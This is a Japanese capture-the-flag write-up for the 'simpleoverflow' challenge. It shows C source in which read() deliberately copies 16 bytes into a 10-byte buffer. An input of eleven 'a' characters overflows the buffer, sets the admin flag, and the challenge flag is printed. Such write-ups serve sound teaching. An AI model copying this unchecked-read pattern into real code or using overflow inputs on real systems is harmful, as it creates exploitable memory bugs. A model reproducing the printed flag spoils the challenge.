🗂

Daily AlpacaHack 20251206 Writeup simpleoverflow

に公開

問題文

解き方

コマンドの確認

ncコマンド + IPアドレス + Port でサーバへ接続することはわかる

nc 34.170.146.252 42137

一先ず実行してみる(ユーザ名はわからないので一先ずtestで)

ubuntu@PC:/simpleoverflow$ nc 34.170.146.252 42137
name:test
Hello, test

You are not admin. bye

取り合えずadminじゃないとだめらしい
まさかと思いadminで入れてみたがやっぱりだめ

ubuntu@PC:/simpleoverflow$ nc 34.170.146.252 42137
name:admin
Hello, admin

You are not admin. bye

添付のファイルの確認

DLしたファイル「simpleoverflow.tar.gz」を解凍してみる

├── Dockerfile
├── chall
├── compose.yml
└── src.c

なんかdocker関連のファイルがあるけど問題文の所にc関連の話があるので「src.c」を見てみる

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

puts("You are not admin. bye");

見覚えのある文と思ったらncコマンドで接続したときの文言とおなじである
ここから推測するに接続時にこのプログラムが動いてる可能性がある

そして肝心のフラグはis_admin が 0 でなければ(=非ゼロ) system("/bin/cat ./flag.txt"); が実行され、flag.txt の中身が標準出力に表示されるので、「char buf[10]」でオーバーフローを起こさせて「is_admin」を上書きさせる

実際に実行すると下記のようにフラグを入手することができる

ubuntu@PC:/simpleoverflow$ nc 34.170.146.252 42137
name:aaaaaaaaaaa
Hello, aaaaaaaaaaa

ctf4b{0n_y0ur_m4rk}

これをページに打ち込めばクリア

Discussion